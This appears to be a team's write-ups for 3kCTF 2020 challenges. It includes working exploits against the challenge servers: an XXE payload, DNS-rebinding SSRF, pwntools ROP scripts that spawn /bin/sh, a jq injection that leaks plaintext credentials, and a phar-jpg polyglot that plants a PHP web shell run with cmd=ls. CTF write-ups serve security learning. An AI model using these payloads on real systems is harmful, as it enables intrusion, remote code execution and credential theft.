3kCTF 2020

xsser - 4 solveswwww - 2 solves (Second Blood)sanity check - 483 solves Linker Revenge - 9 Solvesreporter - 4 solves pyzzle2 - 44 solvespyzzle1 - 83 solvesone and a half man - 18 Solvesonce upon a time - 18 solves microscopic - 25 solves Linker - 15 SolveslibcDB - 14 solves image uploader - 5 solves (Second Blood)flood - 11 solves carthagods - 10 solves(First Blood)You shall not get my cookies - 12 solves Passage - 8 solves Game 2 - 41 solves Game 1 - 30 solves

xsser - 4 solves

by sqrtrev



Author: Dali


class User

    public $name;
    public $isAdmin;
    public function __construct($nam)
        $this->name = $nam;

    $use=new User('guest');
    header("Location: ?login=$log");


if (isset($new_name)){

  if(stripos($new_name, 'script'))//no xss :p 
                    $new_name = htmlentities($new_name);
        $new_name = substr($new_name, 0, 32);
  echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
  echo '<h1>Contact admin /req.php </h1>';

 if($_SERVER['REMOTE_ADDR'] == ''){
            setcookie("session", $flag, time() + 3600);
if ($check->isAdmin){
    echo 'welcome back admin ';

There is ob_start(); on page, and this will make me display nothing with my parameters.

So, we need to break ob_start(). When I searched for this, I found this document, https://dustri.org/b/intended-solutions-for-35c3ctf-2018-web-php.html

So, the payload for breaking ob_start() will be O:4:"User":2:{s:4:"name";O:9:"Throwable":0:{};s:7:"isAdmin";b:0;}


Yeah It takes 500 Internal Error.


Now, we can write something what we want on page. This one will occur XSS.

And we can bypass the length limit like <img src=x onerror=eval(name) />.

I'll code my server for open() and set window.name as payload.

After send this to bot, I can get flag.


wwww - 2 solves (Second Blood)

by sqrtrev


Developing a complete application in 3 days was difficult for me, so I just installed the necessary configuration and files.

Do you think i still need to update my app?
"prove it :)"


* sort of bounty alike challenge

Author: TnMch, Dali

If you see the page, we will get this js code.

var _0x12f0=['C2v0uMvXDwvZDeHLywrLCG==','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvK','B3bLBG==','pd94BwWGDMvYC2LVBJ0Ims4WiIbLBMnVzgLUzZ0IvvrgltGIpZ4=','pgvTywLSpG==','DMfSDwu=','C2XPy2u=','phn1yNnJCMLIzt4=','q29UDgvUDc10ExbL','BgvUz3rO','zw1HAwW=','Afn1DxP1s2rRDKPLv2DQvW==','yxbPlNbOCa==','y2HHCKnVzgvbDa==','zNjVBunOyxjdB2rL','ue9tva==','pc9LBwfPBd4=','Eg1Spq==','pc9ZDwjZy3jPyMu+','BwfW','y2fSBa==','C2vUza==','AM9PBG==','z2v0rwXLBwvUDej5swq=','ChjVDg90ExbL'];(function(_0x2dce72,_0x12f09f){var _0x57c8e1=function(_0x25546b){while(--_0x25546b){_0x2dce72['push'](_0x2dce72['shift']());}};_0x57c8e1(++_0x12f09f);}(_0x12f0,0x124));var _0x57c8=function(_0x2dce72,_0x12f09f){_0x2dce72=_0x2dce72-0x0;var _0x57c8e1=_0x12f0[_0x2dce72];if(_0x57c8['fGHYAk']===undefined){var _0x25546b=function(_0x29e09c){var _0x470e4d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x393484=String(_0x29e09c)['replace'](/=+$/,'');var _0x4c9b99='';for(var _0x8636d7=0x0,_0x2cb8aa,_0x101f8d,_0xcd4247=0x0;_0x101f8d=_0x393484['charAt'](_0xcd4247++);~_0x101f8d&&(_0x2cb8aa=_0x8636d7%0x4?_0x2cb8aa*0x40+_0x101f8d:_0x101f8d,_0x8636d7++%0x4)?_0x4c9b99+=String['fromCharCode'](0xff&_0x2cb8aa>>(-0x2*_0x8636d7&0x6)):0x0){_0x101f8d=_0x470e4d['indexOf'](_0x101f8d);}return _0x4c9b99;};_0x57c8['bsjqpU']=function(_0x2d613b){var _0xc62bd=_0x25546b(_0x2d613b);var _0x748971=[];for(var _0x33ccac=0x0,_0x4e0fbd=_0xc62bd['length'];_0x33ccac<_0x4e0fbd;_0x33ccac++){_0x748971+='%'+('00'+_0xc62bd['charCodeAt'](_0x33ccac)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x748971);},_0x57c8['lPaZPW']={},_0x57c8['fGHYAk']=!![];}var _0x1a3709=_0x57c8['lPaZPW'][_0x2dce72];_0x1a3709===undefined?(_0x57c8e1=_0x57c8['bsjqpU'](_0x57c8e1),_0x57c8['lPaZPW'][_0x2dce72]=_0x57c8e1):_0x57c8e1=_0x1a3709;return _0x57c8e1;};function _0x42d338(_0xad840f,_0x2baeca){var _0x129300=_0xad840f[_0x57c8('0x11')];return Array[_0x57c8('0x7')][_0x57c8('0xe')][_0x57c8('0x3')](_0x2baeca)[_0x57c8('0x2')](function(_0x2fd7c5,_0x5adecd){return String[_0x57c8('0x16')](_0x2fd7c5[_0x57c8('0x15')](0x0)^_0xad840f[_0x5adecd%_0x129300][_0x57c8('0x15')](0x0));})[_0x57c8('0x5')]('');}function _0x2a1b34(){email=document[_0x57c8('0x6')](_0x57c8('0x12'))[_0x57c8('0xd')];var _0x3fd6ce=''+_0x57c8('0xb')+_0x57c8('0xf')+_0x57c8('0xc')+email+_0x57c8('0x18')+_0x57c8('0x1');_0x3fd6ce=btoa(_0x42d338(_0x57c8('0x13'),_0x3fd6ce));var _0x31c176=new XMLHttpRequest();_0x31c176[_0x57c8('0xa')](_0x57c8('0x17'),_0x57c8('0x14'),!![]);_0x31c176[_0x57c8('0x8')](_0x57c8('0x10'),_0x57c8('0x9'));var _0x39826c=_0x57c8('0x0')+escape(_0x3fd6ce);_0x31c176[_0x57c8('0x4')](_0x39826c);return'';}

And If we deobfuscate the code, we will get this.

function xor(key, value) {
    var keyLen = key.length;
    return Array.prototype.slice.call(value).map(function(char, idx) {
        return String.fromCharCode(char.charCodeAt(0) ^ key[idx % keyLen].charCodeAt(0));
function signup() {
    email = "sqrtrev@gmail.com";
    var xml = `<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://php.vuln.live/"> ]><subscribe><email>` + email + `</email><sqrtrev>&xxe;</sqrtrev></subscribe>`;
    xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
    var xmlRequest = new XMLHttpRequest();
    xmlRequest.open("POST", "api.php", true);
    xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    var body = "xml=" + escape(xml);
    return '';

Now, It looks like a kind of XXE.

But If you try XXE to external address, You will get errors. It works only with localhost.

While researching some skill, my teammates got /db directory.

At the last of /db, there is define.php located.

Let's see http://wwwweb.3k.ctf.to/define.php

we got


And after some tries, I realize we can read, write what we want on this page with sid

It's easy now. We can chain the xxe to http://localhost/define.php?sid=sid&key=asd&value= for leaking file contents.

The final payload is below

function signup() {
    var xml = `<!DOCTYPE r [\r\n  <!ELEMENT r ANY >\r\n  <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL2ZsYWciPjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly9sb2NhbGhvc3QvZGVmaW5lLnBocD9zaWQ9TmdwNlR0WnpyMnZKT0FvOHlRTUxHMGU1eFdhYlNxVUMmIzM4O2tleT14eGUmIzM4O3ZhbHVlPSVkYXRhOyI+Jz4="> %sp; %param1;\r\n]>\r\n<subscribe><email>&exfil;</email></subscribe>`;
    xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
    var xmlRequest = new XMLHttpRequest();
    xmlRequest.open("POST", "api.php", true);
    xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    var body = "xml=" + escape(xml);
    return '';

After this, we can read flag in define.php


sanity check - 483 solves

The flag was hidden in the last page of DO.pdf (just be careful when copypasting to remove any unicode characters)



Linker Revenge - 9 Solves

by FeDEX

Menu based challenge with the option to:

  • Add page
  • Edit page
  • Delete page
  • View page
  • Relogin

The vulnerability is a Use After Free, in the Edit method. When deleting a page, the pointer to the page is not set to NULL and the check for editing is done via the page pointer instead of check_pages.

  1. This vulnerability allows us to overwrite the fd pointer in a freed heap chunk and allocate a chunk in the .bss.

  2. Now that we have control over the array of pointers I will first overwrite an entry in the page array with a GOT address in order to leak libc.

  3. Once we got a libc leak, we can overwrite an entry in the page array with the address of environ in order to leak the stack address.

  4. Once we got a stack leak, we can overwrite an entry in the page array with the address of the return value of the main function.

  5. Now we can start building a ropchain to run mprotect(0x602000, 0x100, 0x7) and read(0, 0x602000, 0x100).

  6. The final step consists of a shellcode which will perform:

    • openat(0, './flag', 0)
    • read('rax', 0x602700, 0x100)
    • write(1, 0x602700, 0x100)

Exploit can be found HERE

reporter - 4 solves

by adragos

Very nice web challenge which involves DNS rebinding and LFD (at first I thought it was about XSS as the input is vulnerable to script injection). We start by looking at the source code provided.

We can see this snippet in backend.php:

	$images = preg_match_all("/<img src=\"(.*?)\" /", $thisDoc, $matches);
	foreach ($matches[1] as $key => $value) {
		$thisDoc = str_replace($value , "data:image/png;base64,".base64_encode(fetch_remote_file($value)) , $thisDoc ) ;

The server is "preloading" the images by downloading the contents and base64 encoding and putting it in the img tag. Let's take a closer look at the fetch_remote_file function:

function fetch_remote_file($url) {
    $config['disallowed_remote_hosts'] = array('localhost');
    $config['disallowed_remote_addresses'] = array("", "", "", "", "", "", "", "", "", "", "", "", "", "", "",);
    $url_components = @parse_url($url);
    if (!isset($url_components['scheme'])) {
        return false;
    if (@($url_components['port'])) {
        return false;
    if (!$url_components) {
        return false;
    if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
        return false;
    if (array_key_exists("user", $url_components) || array_key_exists("pass", $url_components)) {
        return false;
    if ((!empty($config['disallowed_remote_hosts']) && in_array($url_components['host'], $config['disallowed_remote_hosts']))) {
        return false;
    $addresses = get_ip_by_hostname($url_components['host']);
    $destination_address = $addresses[0];
    if (!empty($config['disallowed_remote_addresses'])) {
        foreach ($config['disallowed_remote_addresses'] as $disallowed_address) {
            $ip_range = fetch_ip_range($disallowed_address);
            $packed_address = my_inet_pton($destination_address);
            if (is_array($ip_range)) {
                if (strcmp($ip_range[0], $packed_address) <= 0 && strcmp($ip_range[1], $packed_address) >= 0) {
                    return false;
            } elseif ($destination_address == $disallowed_address) {
                return false;
    $opts = array('http' => array('follow_location' => 0,));
    $context = stream_context_create($opts);
    return file_get_contents($url, false, $context);

Basically, it checks that the url is a valid http/https URL, then checks the host to not be localhost or in any private ip range and then gets the file using file_get_contents.

By using a custom DNS server, we can have it first serve the normal IP (in this case, the ip of requestrepo.com) and on the next DNS request (when the script does file_get_contents) it will return

I'll first setup the DNS rebinding on https://requestrepo.com


5 subdomains should be enough for consistency in response

To trigger the replace, we need to intercept the requests and change the filecontent, not the mdcontent to our payload, like so:


A successful response should look like this:


We can see the base64 encoded content! Decoding it we get:

  <title>Index of /secret_report</title>
<h1>Index of /secret_report</h1>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="3ac45ca05705d39ed27d7baa8b70ecd560b69902.php">3ac45ca05705d39ed27d7baa8b70ecd560b69902</a></td><td align="right">2020-07-23 12:53  </td><td align="right"> 50 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="63b4bacc828939706ea2a84822a4505efa73ee3e.php">63b4bacc828939706ea2a84822a4505efa73ee3e.php</a></td><td align="right">2020-07-13 13:24  </td><td align="right"> 14 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>

We can see that it's a directory and that directory listing is active

We then we can try to include check 63b4bacc828939706ea2a84822a4505efa73ee3e.php and 3ac45ca05705d39ed27d7baa8b70ecd560b69902.php from the web, but they don't contain the flag.

We can see that 63b4bacc828939706ea2a84822a4505efa73ee3e.php is only 14 bytes long and also its output is 14 bytes long so it's a red herring (not the flag)

3ac45ca05705d39ed27d7baa8b70ecd560b69902.php on the other hand has 50 bytes but only ~ 9 bytes of output. So we need to read the php code without executing it. Looking back at the fetch_remote_file I spotted the following if:

if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {

But what does empty do? From the PHP Manual we read that empty

Returns FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.

The following values are considered to be empty:

"" (an empty string)
0 (0 as an integer)
0.0 (0 as a float)
"0" (0 as a string)
array() (an empty array)

So if the scheme is "0", the AND will result in false and the second check won't be made. We can then treat

0:// as a directory and then just .. out of it.

The final payload becomes: mdcontent=doesn't matter&filecontent=<img src="0://index.php/../../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php" />

Checking the report we get the base64 encoded php file:


Which decoded is:





The flag is:


pyzzle2 - 44 solves

by tcode2k16


A puzzle be a game, problem, or toy dat tests a personz ingenuity or knowledge. In a puzzle, tha solver is sposed ta fuckin put pieces together up in a logical way, up in order ta arrive all up in tha erect or funk solution of tha puzzle.


2nd flag : change it from 3K-text to 3k{text}

Continuing from where we left off, we need a way to visualize the STP file.

The file itself is quite readable. It consists of three sections Comment, Graph, and Coordinates. The Coordinates describes points and the Graph tells us how to connect these points.

The line DD 144 1845 105 likely means to define a point with the id of 144 and the xy coordinate of (1845, 105)

While a line like E 29 30 1 tells us to draw a line between the point with id 29 and the point with id 30

I hacked together a python script using PIL to draw out the image:

from PIL import Image, ImageDraw

img = Image.new( 'RGB', (2000,200),color=(0,0,0))
draw = ImageDraw.Draw(img)

pixels = img.load()

edges = ['1 2','2 3','3 5','4 5','6 8','7 8','8 9','8 10','11 12','13 14','13 15','15 16','14 16','15 17','18 20','19 20','20 21','22 23','23 24','24 25','25 26','27 28','28 29','29 30','30 31','32 33','33 34','34 35','36 37','36 38','38 39','38 40','40 41','42 43','44 45','44 46','46 47','46 48','49 50','49 51','50 52','51 53','53 54','52 54','55 56','57 58','57 59','59 60','61 62','60 62','63 65','64 66','65 66','65 67','66 68','69 70','70 71','70 72','72 74','73 74','74 75','76 77','77 78','78 79','79 80','81 82','82 83','83 84','84 85','86 87','87 88','88 89','90 91','90 92','92 93','92 94','94 95','96 97','98 101','99 101','98 100','99 102','100 103','102 104','105 107','106 107','107 108','109 110','111 113','111 114','112 115','113 116','114 117','115 117','118 119','119 120','119 121','121 123','122 123','123 124','125 126','126 127','127 128','128 129','130 131','131 132','132 133','133 134','135 136','136 137','137 138','139 140','139 141','141 142','141 143','143 144']
edges = map(lambda x: map(int, x.split(' ')), edges)

print edges

points = ['1 5 5','2 55 5','3 5 55','4 5 105','5 55 105','6 65 5','7 115 5','8 65 55','9 65 105','10 115 105','11 125 55','12 175 55','13 185 5','14 235 5','15 185 55','16 235 55','17 185 105','18 245 5','19 295 5','20 270 55','21 270 105','22 355 5','23 405 5','24 380 55','25 355 105','26 405 105','27 415 5','28 465 5','29 440 55','30 415 105','31 455 105','32 475 5','33 475 55','34 475 105','35 525 105','36 535 5','37 585 5','38 535 55','39 585 55','40 535 105','41 585 105','42 595 105','43 645 105','44 655 5','45 705 5','46 655 55','47 705 55','48 655 105','49 715 5','50 765 5','51 715 55','52 765 55','53 715 105','54 765 105','55 775 105','56 825 105','57 835 5','58 885 5','59 835 55','60 885 55','61 835 105','62 885 105','63 895 5','64 945 5','65 895 55','66 945 55','67 895 105','68 945 105','69 955 5','70 980 5','71 1005 5','72 980 55','73 955 105','74 980 105','75 1005 105','76 1015 5','77 1065 5','78 1040 55','79 1015 105','80 1065 105','81 1075 5','82 1125 5','83 1100 55','84 1075 105','85 1125 105','86 1135 5 ','87 1135 55','88 1135 105','89 1185 105','90 1195 5','91 1245 5','92 1195 55','93 1245 55','94 1195 105','95 1245 105','96 1255 105','97 1305 105','98 1315 5','99 1365 5','100 1315 55','101 1340 55','102 1365 55','103 1315 55','104 1365 105','105 1375 5','106 1425 5','107 1400 55','108 1400 105','109 1435 105','110 1485 105','111 1495 5','112 1545 5','113 1495 5','114 1520 55','115 1545 55','116 1495 105','117 1545 105','118 1555 105','119 1580 5','120 1605 5','121 1580 55','122 1555 105','123 1580 105','124 1605 105','125 1615 5','126 1665 5','127 1640 5','128 1615 105','129 1665 105','130 1675 5','131 1725 5','132 1700 55','133 1675 105','134 1725 105','135 1735 5','136 1735 55','137 1735 105','138 1785 105','139 1795 5','140 1845 5','141 1795 55','142 1845 55','143 1795 105','144 1845 105']
points = map(lambda x: map(int, x.strip().split(' '))[1:], points)
print points

for each in edges:
  a,b = each
  p1 = points[a-1]
  p2 = points[b-1]
  draw.line([tuple(p1), tuple(p2)])


This script is good enough to get us the second flag:


pyzzle1 - 83 solves

by tcode2k16


A puzzle be a game, problem, or toy dat tests a personz ingenuity or knowledge. In a puzzle, tha solver is sposed ta fuckin put pieces together up in a logical way, up in order ta arrive all up in tha erect or funk solution of tha puzzle.


2nd flag : change it from 3K-text to 3k{text}

By taking a look at the file and searching up some of the key terms like SimpleStatementLine, we quickly realize that the given file is a LibCST concrete syntax tree.

Some documentation reading reveals that by accessing .code on a syntax tree object, we can recover its source code.

Using this knowledge, I tweaked the file a bit:

from libcst import *
abc = Module(

Running this edited file gives us the source code:

import binascii

plaintext = "REDACTED"

def exor(a, b):
    temp = ""
    for i in range(n):
        if (a[i] == b[i]):
            temp += "0"
            temp += "1"
    return temp

def BinaryToDecimal(binary):
    string = int(binary, 2)
    return string

# encryption
PT_Ascii = [ord(x) for x in plaintext]

PT_Bin = [format(y, '08b') for y in PT_Ascii]
PT_Bin = "".join(PT_Bin)

n = 26936
K1 = '...'
K2 = '...'

L1 = PT_Bin[0:n]
R1 = PT_Bin[n::]

f1 = exor(R1, K1)
R2 = exor(f1, L1)
L2 = R1

f2 = exor(R2, K2)
R3 = exor(f2, L2)
L3 = R2

R3 = '...'
L3 = '...'
cipher = L3+R3

# decryption (redacted)
plaintext = L6+R6
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)

We can see that some xor operations have been performed on the original plaintext. We can walk backward and undo all those changes:

R2 = L3
L2 = exor(exor(R3, R2), K2)

R1 = L2
L1 = exor(exor(K1, R1), R2)

plaintext = L1+R1
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)
plaintext = binascii.unhexlify(plaintext)

This yields the original file which contains our first flag:

33D32945 STP File, STP Format Version 1.0
Name "3k{almost_done_shizzle_up_my_nizzle}"

Nodes 144
Edges 116
E 1 2 1

SECTION Coordinates
DD 1 5 5


flag: 3k{almost_done_shizzle_up_my_nizzle}

one and a half man - 18 Solves

by sqrtrev


There is a BOF but we cannot leak because there is no function for leaking.

So, I thought about how to get shell without leak. And that was syscall ROP.

Unfortunately, there is no syscall gadget. So, I used a method: make syscall by modifying read@got one byte.

If we modify read@got as \x8f, that position is syscall gadget's position.

Stage 1 - For getting payload, I did fake ebp

Stage 2 - I got payload what we need

Stage 3 - make read@got to syscall gadget

Stage 4 - I did this for setting rax to 59 (59 is execve).

from pwn import *

p = remote('one-and-a-half-man.3k.ctf.to', 8521)

#Stage 1
payload = 'A'*0xa + p64(0x601018+0x8+0xA) + p64(0x4005BF)

#Stage 2
payload = 'A'*2 + p64(0x6010a2-0x48) + p64(0x4005BF) + p64(0x400496)
payload+= p64(0x400538) + p64(0x601018+0xA) + p64(0x4005BF)
payload+= p64(0x601050) + p64(0x4005BF) + p64(0x40068A)
payload+= p64(0x0) + p64(0x0) + p64(0x601018) + p64(0x6010a2) 
payload+= p64(0x0) + p64(0x0) + p64(0x400670) + '/bin/sh\x00'

#Stage 3

#Stage 4
payload = 'A'*10 + p64(0x4005bf) + p64(0x40068a)
payload+= p64(0x0)*2 + p64(0x601018) + p64(0x6010a2) + '\x00'


once upon a time - 18 solves

by adragos

We are given a C project with a Makefile to compile the binary, but we are also given the compiled binary (that's going to be useful later).

Checking the code we can see how the cipher works

for(i=0; i<lSize; i++){
        get_next_byte(l_17, byte_17);
        get_next_byte(l_25, byte_25);
        sum_bytes(byte_17, byte_25, carry, sumArray, &carry);
        bit_array_to_unsigned_char(sumArray, &temp_keystream);
        memcpy(&temp_plaintext, buffer+i, sizeof(unsigned char));
        switch (_mode) {
          case ECB:
              temp_ciphertext = temp_keystream ^ temp_plaintext;
          case CBC:
              temp_plaintext ^= initialization_vector;
              temp_ciphertext = temp_keystream ^ temp_plaintext;
              initialization_vector = temp_ciphertext;
          case OFB:
              temp_ciphertext = temp_keystream ^ initialization_vector;
              initialization_vector = temp_ciphertext;
              temp_ciphertext ^= temp_plaintext;
          case CFB:
              temp_ciphertext = temp_keystream ^ initialization_vector;
              temp_ciphertext ^= temp_plaintext;
              initialization_vector = temp_ciphertext;
        //Output the ciphertext to the File
        if(fwrite (&temp_ciphertext , sizeof(unsigned char), 1, oFile) < 1){
            fprintf(stderr, "Error Writing (%c) at index.(%d) to Output File <%s>, Aborting.\n", temp_ciphertext, i, outfile);
            return -5;

temp_plaintext is one char of the plaintext, we can see that the encryption is done 1 byte at a time with no other transformations. That means that this cipher is equivalent to a stream cipher (where the stream bytes are directly xored with the bytes of the plaintext), by recovering the stream with a known plaintext attack, we can decrypt the flag.

We can also spot this comment inside the main.c file

//Some random 40-bit Key
// TODO: redact key

BYTE key[40] = {0};

//some i.v.
unsigned char initialization_vector = 0xa2;

We can see that the original key was wiped out. But we have a compiled binary in the archive, maybe that still holds the original key? I wasn't bothered with actually reversing the binary, just encrypted a file containing null bytes of equal length with flag_encrypted file length and then just xored the two encrypted files to get the flag. I chose CBC as it is the most common mode used and by xoring the two files I got the flag:


microscopic - 25 solves

by adragos

We begin by checking the binary in IDA and then checking out the .data section


We can see that it's quite small and we can reason that the flag might be in dword_202020, but encrypted/encoded. We can check any cross references to dword_202020 to see how it's used.

I've renamed dword_202020 to ENCODED_FLAG for clarity


We can see that the algorithm is xoring our input with v4 (which we don't know) and then adding the index on case 3, we can assume that on case 4 it checks to see if our transformed input is equal to the bytes in ENCODED_FLAG

We know that the flag starts with 3k{ and so we can recover v4, if the v4 is constant then our job is done, if it isn't, then we have to reverse engineer the program further

Using ipython and xor from pwntools I was able to find out that the constant is 0x27. With this small script we can recover the flag

from pwn import xor

enc = [20,77,94,76,74,78,29,81,86,92,76,95,132,79,95,81,101,111,98,98,86,106,88,143,90,106,92,112,122,112,108,105,98,153,99,118,116,43,128]
enc = ''.join([chr(x) for x in enc])

x = 0x27
out = ''
for i,c in enumerate(enc):
    out += xor(ord(c)-i, x)

print out

Prints out 3k{nan0mites_everywhere_everytime_ftw!}

We can even test the flag in the binary to see that it's right


Linker - 15 Solves

by sqrtrev


On function edit, If It has a value on pages[v1], we can edit pages variable.


If you see empty_page, It do free(pages[v1]) and do not initialize with NULL at pages[v1].

So, we can write some value on deleted heap section.

There is tcache working. So, I allocated and free seventh for filling tcache bin.

(Because we can use fastbin when the tcache bin is full)

I modified fd at free chunk for change memcpy part to printf to get FSB for leaking libc and changed atoi address to system address.

from pwn import *

p = remote('linker.3k.ctf.to', 9654)
e = ELF('./linker')

def add(size):
    p.sendlineafter('> ','1')

def edit(idx,data):
    p.sendlineafter('> ','2')

def empty(idx):
    p.sendlineafter('> ','3')

def re():
    p.sendlineafter('> ','4')


for i in range(7):

libc = int(p.recvuntil('W')[:-1],16) - 231 - 0x021ab0
system = libc + 0x04f4e0
print hex(libc)


libcDB - 14 solves

by QSharp


pwning challenges without given libc can be a hussle
i made a libcDB as a service that can help resolve the libc version by symbols and their addresses
i havn't added all libc's yet, but thats enough to test it out

nc libcdb.3k.ctf.to 7777

* test account { Dead:pool }

When connecting to the provided address, we are given a login prompt and we can enter the credentials from the description resulting in the following prompt:

Authenticated {"users":{"username":"Dead","password":"pool"}}

 __    _ _       ____  _____
|  |  |_| |_ ___|    \| __  |
|  |__| | . |  _|  |  | __ -|
                         as a service

Type .help for help


Notice the JSON at the beginning, I tried adding my own JSON, but it only allowed alphanumeric login and password.

.help gives us a few options to choose from:

.help                   Print this help
.version                Print versions
.search                 Search libcdb
.secret                 Print flag

Sadly, we cannot get the flag instantly by just executing the .secret command. And instead returns:

not admin
no flag for u

The .version command gives us some information about what libc's are added to the database:


The last feature, .search is more of interest and has the following pattern: .search <*symbol> <*addr> <filter>.<br> An example search is .search fprintf 0x4b970 which gives us some nice information about the fprintf function:

> .search fprintf 0x4b970
        id              6acfaae0398dce58e1857599a274f6d8
        name            ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64
        symbol          fprintf
        address         0x4b970
        id              fc1e12693e5762252bc44256d5a72506
        name            ubuntu_libc6-dbg_2.4-1ubuntu12_amd64
        symbol          fprintf
        address         0x4b970

However, there is another paramater: <filter> and when adding a non-alphanumeric character we get an error:

> .search fprintf 0x4b970 "
jq: error: syntax error, unexpected $end, expecting QQSTRING_TEXT or QQSTRING_INTERP_START or QQSTRING_END (Unix shell quoting issues?) at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ."
jq: error: try .["field"] instead of .field for unusually named fields at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ."
jq: 2 compile errors

This gives us some more information about the application and that it uses jq, additionaly we get the complete query. <br> After reading a bit about jq we can construct our own query.<br> By just guessing that the object where the users are stored are in the same $maindb (Thanks to the JSON we got when logging in), we can create a query like this: ,{name:.[]|$maindb.users|tostring} and leak the complete users db.<br> (Additionally, we could leak the complete db with ,{name:.[]|$maindb|tostring}, but it's huge).<br> Final Payload: .search fprintf 0x4b970 ,{name:.[]|$maindb.users|tostring}. Resulting into the users object:

        "username": "3k",
        "password": "notaflag"
        "username": "James",
        "password": "Hetfield"
        "username": "Lars",
        "password": "Ulrich"
        "username": "Dead",
        "password": "pool"
        "username": "admin",
        "password": "v3ryL0ngPwC4nTgu3SS0xfff"
        "username": "jim",
        "password": "carrey"

And so logging in with admin:v3ryL0ngPwC4nTgu3SS0xfff<br> we get the flag by the .secret command: 3k{jq_is_r3ally_HelpFULL_3af4bcd97f5}

image uploader - 5 solves (Second Blood)

by sqrtrev



Author: dali

Code review:

index.php		- we can get image via file_get_contents function(Even, php:// is not banned)

old.php			- there are two classes cl1, cl2

upload.php		- check is this real image file with getimagesize and upload.

The trigger:

index.php		- I can read .phar file like this php://filter/read/resource=phar://

old.php			- If I can use this classes, I can inject a data what I want(Arbitray Code Execution)

upload.php		- Just upload a jpg phar image. I'll use https://github.com/kunte0/phar-jpg-polyglot

Analysis of old.php:

class c1 		- File management using class c2
How to use:
	$c1 = new cl1((new cl2), filename, expire)
Also, __desturct calls $this->save(); We can use for PHP Object Injection

class c2		- File store
the filename will be $this->options['prefix'].$filename because of $this->getCacheKey()
$data contains exit(); So, we need to bypass this one.


$cl1->complete variable is send to cl2->set. So, I'll use $this->complete for inserting payload.

$c1->autosave have to be false for do $this->save on __destruct()

$cl2->options['prefix'] have to be "php://filter/write=convert.base64-decode/resource="
Because we need to bypass exit(). So, I'll decode the contents of $data as base64.
$cl2->options['serialize'] will be 'serialize' because of below reason

$data = $this->serialize($value);
protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;

        $serialize = $this->options['serialize'];

        return $serialize($data);
$this->serialize() is $this->options['serialize']();

Generating Phar jpg:

function generate_base_phar($o, $prefix){
    global $tempname;
    $phar = new Phar($tempname);
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");

    $basecontent = file_get_contents($tempname);
    return $basecontent;

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed 
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;

include "../image_uploader/html/old.php";

// pop exploit class
$cl2 = new cl2;
$cl1 = new cl1($cl2, "sqrtrev.php", null);

$cl1->cache = ["asd"];
$cl1->complete = "APD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="; //First A is for padding
$cl1->autosave = false;

$cl2->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$cl2->options['data_compress'] = false;
$cl2->options['serialize'] = 'serialize';

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $cl1;
$prefix = '';
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

In my case, the filename was 442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg.

So I accessed http://imageuploader.3k.ctf.to:8081/?img=php://filter/read/resource=phar://442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg/asd

And there will be up/sqrtrev.php.

[http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=ls%20/](http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=ls /)

